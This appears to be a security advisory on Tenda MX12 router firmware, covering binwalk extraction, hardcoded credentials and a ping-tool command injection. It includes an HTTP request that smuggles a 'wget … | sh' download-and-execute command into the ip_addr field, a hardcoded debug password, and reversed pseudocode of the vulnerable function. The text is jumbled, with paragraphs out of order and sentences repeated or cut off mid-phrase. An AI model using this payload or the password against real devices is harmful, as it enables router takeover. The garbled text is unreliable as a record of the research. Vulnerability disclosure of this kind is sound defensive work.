An authenticated attacker (or any user on the LAN if the session check is bypassed) can inject arbitrary commands via the ping diagnostic tool. Example:
# Using binwalk to carve the squashfs $ binwalk -Me Tenda_MX12_V1.0.0.24_EN.bin 256 0x100 TRX firmware header, image size: 14876672 bytes 512 0x200 LZMA compressed data 1456128 0x163800 Squashfs filesystem, little endian, version 4.0
But beneath the sleek white plastic lies a firmware ecosystem that raises serious red flags. After extracting and reverse-engineering the latest firmware (v1.0.0.24 and v1.0.0.30), we found a labyrinth of debug commands, hardcoded credentials, and deprecated Linux kernels. The MX12 is powered by a Realtek RTL8198D (dual-core ARM Cortex-A7) with 128MB of flash and 256MB of RAM. Tenda distributes the firmware as a .bin file wrapped in a proprietary TRX header with a custom checksum. Tenda Mx12 Firmware
By: Security Research Unit Date: April 17, 2026
The Tenda MX12 is a textbook case of "cheap hardware, dangerous software." While it works fine as a basic access point, its security posture is unacceptable for any environment containing sensitive data. Unless Tenda releases a complete rewrite (unlikely), we recommend avoiding this product entirely. An authenticated attacker (or any user on the
POST /goform/diagnostic HTTP/1.1 Host: 192.168.5.1 Content-Type: application/x-www-form-urlencoded diagnostic_tool=ping&ip_addr=8.8.8.8; wget http://malicious.sh -O- | sh &
Using a simple Python script, we triggered a crash dump: The MX12 is powered by a Realtek RTL8198D
// Pseudocode reversed from libhttpd.so (Ghidra) void do_debug_cmd(char *cmd) char buf[256]; if (strcmp(cmd, "tendadebug2019") == 0) // Hidden factory reset + diagnostic dump system("/usr/sbin/factory_reset.sh --full"); system("/usr/sbin/dump_regs > /tmp/debug.log"); else if (strstr(cmd, "ping")) // Command injection primitive sprintf(buf, "ping -c 4 %s", cmd + 4); system(buf);